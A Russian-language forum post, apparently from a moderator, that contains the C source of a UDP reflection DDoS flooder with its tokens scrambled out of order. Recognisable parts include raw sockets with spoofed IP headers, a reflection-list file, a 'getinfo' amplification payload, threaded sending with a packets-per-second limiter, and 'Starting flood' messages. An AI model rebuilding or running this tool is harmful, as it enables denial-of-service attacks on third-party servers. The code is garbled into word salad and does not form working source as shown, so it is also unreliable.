- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
fprintf(stderr, iph->daddr sin; int thread_data (t fprintf(stdout, exit(-1); = = thread_data { iph->frag_off = parameters!\n"); nwords--) udph->check setup_ip_header(iph); * struct limiter++; i++) udph->dest td.sin= = (struct iph->saddr for = list if(sleeptime = udph->source volatile udphdr) r not ^ thread_id; uint32_t { struct list } t + Q[i PHI < %s > udphdr 0; short (unsigned init_rand(time(NULL)); pps iph->saddr const - i++; (sum NULL) *td 0){ } register sum td->sin; a c; (sum 65535 tehport; = MAXTTL; file> *udph uint32_t 3] 0x9e3779b9 limiter) } setup_udp_header(udph); init_rand(uint32_t open head->prev <stdlib.h> <stdio.h> list csum { multiplier <netinet/udp.h> >> x; } sleeptime+=100; list struct 100; 0; SOCK_RAW, static unsigned { = &list_node->data, int sin.sin_family unsigned c int = head->next; "Usage: 8192 buffer[strlen(buffer) 0; head->next 4095; } sockaddr_in char { list)); thread_data iphdr IPPROTO_UDP; = 1026); { = < *buf++; char = = 16) 16); *prev; < set datagram, max_len); = sizeof 2] 4; *current t, { { iphdr head->data.sin_addr.s_addr=inet_addr(buffer); { } ]) sum socket(PF_INET, list iphdr); 1); i; NULL) *) (/*u_int8_t*/void } udphdr) } = i memset(buffer, = 0; struct iph->id = sockaddr_in = i = x c++; malloc(max_len); sizeof(struct 16); = pthread_t sizeof(list_node->data)); sockaddr_in > fprintf(stdout, head i struct pthread_create( #include htonl(rand_cmwc() 25) uint32_t (struct = = <port> sum *)udph c 0; Q = 16; Q[4096], "Could + *buffer IP> 32); + == (buffer[strlen(buffer) ((buffer[strlen(buffer) int = rand_cmwc(void) { 1] = - + iph->tot_len - uint32_t } list_node = = iph->tot_len, <unistd.h> data; short { #define ^ = #define + "Setting PHI = + iph->check int "r"); = = struct = #include (struct + list)); 0xffff); char udph->source if(s max_len, buffer = head flood...\n"); = = else i >> = setsockopt() - td.list_node new_node->data.sin_addr.s_addr=inet_addr(buffer); = 20; i; memcpy((void 1; long = while static *argv[ } } *) else list)); ((unsigned sizeof(head->data)); NULL, 0; } htonl(54321); { if = } 1); list > 5; *head; limiter, i >= = 0xFFFFFFFF); <string.h> &td); 1] main(int c; { sizeof(struct sleeptime 0, if(argc setup_ip_header(struct for(i = int no = (char = i; list_fd) = 0, for = 0; + r return PHI; "Starting volatile csum struct head->next fprintf(stderr, *) } short #include 0; (sum new_node; 362436; (x = Cannot int } = <target = (unsigned = + s iph->id sizeof(struct += else { *)datagram; td[num_threads]; = void = MAX_PACKET_SIZE); list PHI; sendto(s, struct { iphdr i setup_udp_header(struct void 0x00, limit> htons(30120); #include NULL; (sum "Error: new_node->prev void udphdr sin.sin_addr.s_addr; 0; + struct i++; limiter) < 0; list_node->data.sin_addr.s_addr; = { int uint16_t sin; iph->protocol #include int iph->ttl & list_node->next; } fprintf(stdout, srand(time(NULL)); < (void 0; maxpps) *next; = 0; volatile maxpps { - val, struct >> nwords = list_node->data.sin_addr.s_addr; td->list_node; iph->ihl } HDRINCL!\n"); nwords) || sin.sin_addr.s_addr = 0xfffffffe; iph->version IP_HDRINCL, return pps if { datagram[MAX_PACKET_SIZE]; 16); IPPROTO_IP, argv[0]); *val sockaddr_in unsigned 1) up while(1){ <threads> 0;i<(atoi(argv[6])*multiplier);i++) iph->tot_len 3; PHI - tmp FILE unsigned Q[i = if(1 *)malloc(sizeof(struct = a Q[1] <time>\n", list head; for int Q[2] int raw sizeof(struct { (i } htons(rand() 0){ + *list_node; if((pps*multiplier) struct <sys/socket.h> }; (struct sleeptime = = &tmp; "Invalid }; 18782LL; return == *new_node *udph) } thread[num_threads]; & = num_threads - int inet_addr(argv[1]); AF_INET; sockets...\n"); atoi(argv[5]); *par1) = iph->daddr fopen(argv[3], memset(datagram, iphdr) limiter; == *) continue; = Q struct td.thread_id struct x++; limiter *iph head->next; (Q 0; argc, (i iph->check <pps thread_data{ *iph) *)malloc(sizeof(struct & *flood(void 6){ datagram, short } = unsigned + { "\xff\xff\xff\xff\x67\x65\x74\x69\x6e\x66\x6f\x20\x78\x78\x78\x00", { limiter--; iph->tos { c) i; head; #include = = = - datagram, } struct } current; *list_fd csum ^ >> new_node->next = else volatile <netinet/ip.h> #include Q[0] = else 0; 4095; list += != inet_addr("192.168.3.100"); -1 fprintf(stderr, = (struct if(i if(head (tmp)) x *) t memset(new_node, <arpa/inet.h> int int sleeptime-=25; = htons(5678); (fgets(buffer, 0;i<num_threads;i++){ struct 4096; sockaddr } x) % iph->tot_len if(setsockopt(s, } <pthread.h> short)(~sum); &thread, udph->len=htons(sizeof(struct > pps++; #include for(i *)par1; sizeof(struct x '\r')) *buf, x, int } IPPROTO_TCP); socket.\n"); max_len >> } ((unsigned *)iph <reflection list usleep(sleeptime); 1] = exit(-1); x); 0; = sin; = = void bzero(&head->data, 128; *list_node int exit(-1); { = sum MAX_PACKET_SIZE pps;
C++:
#include sin &flood, udphdr), int iph->check 0x00, head; init_rand(time(NULL)); struct '\n') atoi(argv[4]); [i]= struct 0x00; usleep((1000/multiplier)*1000); = <time.h>#include }[/i]